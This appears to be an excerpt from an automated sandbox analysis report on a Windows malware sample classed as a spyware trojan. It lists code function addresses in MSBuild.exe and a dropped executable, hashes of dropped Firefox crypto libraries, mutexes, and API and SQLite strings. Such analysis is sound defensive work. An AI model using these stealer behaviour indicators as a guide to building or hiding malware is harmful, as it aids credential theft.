Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAE5440	2_2_6CAE5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB385F0	2_2_6CB385F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB10DD0	2_2_6CB10DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB00512	2_2_6CB00512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAEFD00	2_2_6CAEFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAFED10	2_2_6CAFED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB34EA0	2_2_6CB34EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB3E680	2_2_6CB3E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAF5E90	2_2_6CAF5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB476E3	2_2_6CB476E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADBEF0	2_2_6CADBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAEFEF0	2_2_6CAEFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB39E30	2_2_6CB39E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB17E10	2_2_6CB17E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB25600	2_2_6CB25600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB46E63	2_2_6CB46E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADC670	2_2_6CADC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB13E50	2_2_6CB13E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAF4640	2_2_6CAF4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB22E4E	2_2_6CB22E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAF9E50	2_2_6CAF9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB277A0	2_2_6CB277A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB06FF0	2_2_6CB06FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADDFE0	2_2_6CADDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB17710	2_2_6CB17710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAE9F00	2_2_6CAE9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB060A0	2_2_6CB060A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAFC0E0	2_2_6CAFC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB158E0	2_2_6CB158E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB450C7	2_2_6CB450C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB1B820	2_2_6CB1B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB24820	2_2_6CB24820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAE7810	2_2_6CAE7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB1F070	2_2_6CB1F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAF8850	2_2_6CAF8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAFD850	2_2_6CAFD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB0D9B0	2_2_6CB0D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADC9A0	2_2_6CADC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB15190	2_2_6CB15190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB32990	2_2_6CB32990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB2B970	2_2_6CB2B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB4B170	2_2_6CB4B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAED960	2_2_6CAED960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAFA940	2_2_6CAFA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB42AB0	2_2_6CB42AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAD22A0	2_2_6CAD22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB04AA0	2_2_6CB04AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAECAB0	2_2_6CAECAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB4BA90	2_2_6CB4BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB1E2F0	2_2_6CB1E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAF1AF0	2_2_6CAF1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB18AC0	2_2_6CB18AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB19A60	2_2_6CB19A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADF380	2_2_6CADF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB453C8	2_2_6CB453C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB1D320	2_2_6CB1D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAEC370	2_2_6CAEC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAD5340	2_2_6CAD5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CBDECD0	2_2_6CBDECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB7ECC0	2_2_6CB7ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC46C00	2_2_6CC46C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB8AC60	2_2_6CB8AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC5AC30	2_2_6CC5AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB84DB0	2_2_6CB84DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CD0CDC0	2_2_6CD0CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC16D90	2_2_6CC16D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CCAAD50	2_2_6CCAAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC4ED70	2_2_6CC4ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CD08D20	2_2_6CD08D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC20EC0	2_2_6CC20EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC06E90	2_2_6CC06E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB8AEC0	2_2_6CB8AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC1EE70	2_2_6CC1EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC60E20	2_2_6CC60E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB8EFB0	2_2_6CB8EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC5EFF0	2_2_6CC5EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB80FE0	2_2_6CB80FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CCC8FB0	2_2_6CCC8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB86F10	2_2_6CB86F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC42F70	2_2_6CC42F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CCC0F20	2_2_6CCC0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CBEEF40	2_2_6CBEEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC868E0	2_2_6CC868E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC54840	2_2_6CC54840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CBD0820	2_2_6CBD0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC0A820	2_2_6CC0A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC9C9E0	2_2_6CC9C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CBB49F0	2_2_6CBB49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CC109A0	2_2_6CC109A0
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B2021	9_2_001B2021
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E2088	9_2_001E2088
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E40C8	9_2_001E40C8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_0020E132	9_2_0020E132
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E2123	9_2_001E2123
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_0020E1A8	9_2_0020E1A8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001DE1CF	9_2_001DE1CF
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E8278	9_2_001E8278
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001DE27B	9_2_001DE27B
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001DE272	9_2_001DE272
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001DE455	9_2_001DE455
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E0488	9_2_001E0488
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001DE527	9_2_001DE527
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_0020E738	9_2_0020E738
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00218798	9_2_00218798
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00224988	9_2_00224988
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001FAA47	9_2_001FAA47
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E4AC8	9_2_001E4AC8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001BCAF2	9_2_001BCAF2
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E6D40	9_2_001E6D40
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E8D88	9_2_001E8D88
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_0020AD84	9_2_0020AD84
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00224E98	9_2_00224E98
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001EEF08	9_2_001EEF08
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00220F18	9_2_00220F18
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00226FA8	9_2_00226FA8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001EB078	9_2_001EB078
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_002151A8	9_2_002151A8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E71D8	9_2_001E71D8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B729C	9_2_001B729C
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001CD39B	9_2_001CD39B
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_002133C8	9_2_002133C8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E5468	9_2_001E5468
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001F94C8	9_2_001F94C8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001C572C	9_2_001C572C
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E7728	9_2_001E7728
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_0021B778	9_2_0021B778
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00221918	9_2_00221918
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001CBB36	9_2_001CBB36
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_00209BA8	9_2_00209BA8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001C3C92	9_2_001C3C92
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B1D79	9_2_001B1D79
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001E7DE8	9_2_001E7DE8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001DDED8	9_2_001DDED8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001BFEF0	9_2_001BFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0043F620	10_2_0043F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00444040	10_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00401000	10_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00412030	10_2_00412030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0044A0D0	10_2_0044A0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00405160	10_2_00405160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00415113	10_2_00415113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004071F0	10_2_004071F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040E1A0	10_2_0040E1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00410228	10_2_00410228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004382D0	10_2_004382D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004312D0	10_2_004312D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004012F7	10_2_004012F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040A300	10_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004323E0	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040B3A0	10_2_0040B3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004013A3	10_2_004013A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042C470	10_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004364F0	10_2_004364F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00414487	10_2_00414487
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041049B	10_2_0041049B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041C5F0	10_2_0041C5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00408590	10_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004035B0	10_2_004035B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040164F	10_2_0040164F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00448652	10_2_00448652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004486F0	10_2_004486F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040A850	10_2_0040A850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00431860	10_2_00431860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0043B8C0	10_2_0043B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0043E8A0	10_2_0043E8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042098B	10_2_0042098B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004489A0	10_2_004489A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00444A40	10_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00448A80	10_2_00448A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00447AB0	10_2_00447AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041DB6F	10_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00407BF0	10_2_00407BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00448C02	10_2_00448C02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042CCD0	10_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00446CBF	10_2_00446CBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00428D62	10_2_00428D62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042FD10	10_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042DD29	10_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042AE57	10_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00448E70	10_2_00448E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040BEB0	10_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00416EBF	10_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040AF10	10_2_0040AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00447FC0	10_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00408FD0	10_2_00408FD0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CD009D0 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CB0CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041D300 appears 152 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040CAA0 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CB194D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: String function: 008A7B80 appears 49 times
Source: C:\Users\userIDHDGDHJEG.exe	Code function: String function: 001B7B80 appears 49 times
Source: C:\Users\userIDHDGDHJEG.exe	Code function: String function: 001FA1D8 appears 152 times
Source: C:\Users\userIDHDGDHJEG.exe	Code function: String function: 001E9978 appears 93 times

Source: C:\Users\user\Desktop\NdSXVNeoET.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 272

Source: NdSXVNeoET.exe, 00000000.00000000.2289261234.000000000091C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs NdSXVNeoET.exe
Source: NdSXVNeoET.exe	Binary or memory string: OriginalFilenameproquota.exej% vs NdSXVNeoET.exe

Source: NdSXVNeoET.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: NdSXVNeoET.exe	Static PE information: Section: .data ZLIB complexity 0.98995
Source: userIDHDGDHJEG.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9912286931818182
Source: a43486128347[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9912286931818182

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@14/42@2/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_6CB37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6CB37030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_00413720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\BUOMYIVK.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6292
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess988
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5796

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\b7b23c8e-7a13-4a69-91c4-831b319cfd57

Jump to behavior

Source: C:\Users\userIDHDGDHJEG.exe	Command line argument: MZx	9_2_001B2021
Source: C:\Users\userIDHDGDHJEG.exe	Command line argument: MZx	9_2_001B2021
Source: C:\Users\userIDHDGDHJEG.exe	Command line argument: MZx	9_2_001B2021

Source: NdSXVNeoET.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\NdSXVNeoET.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
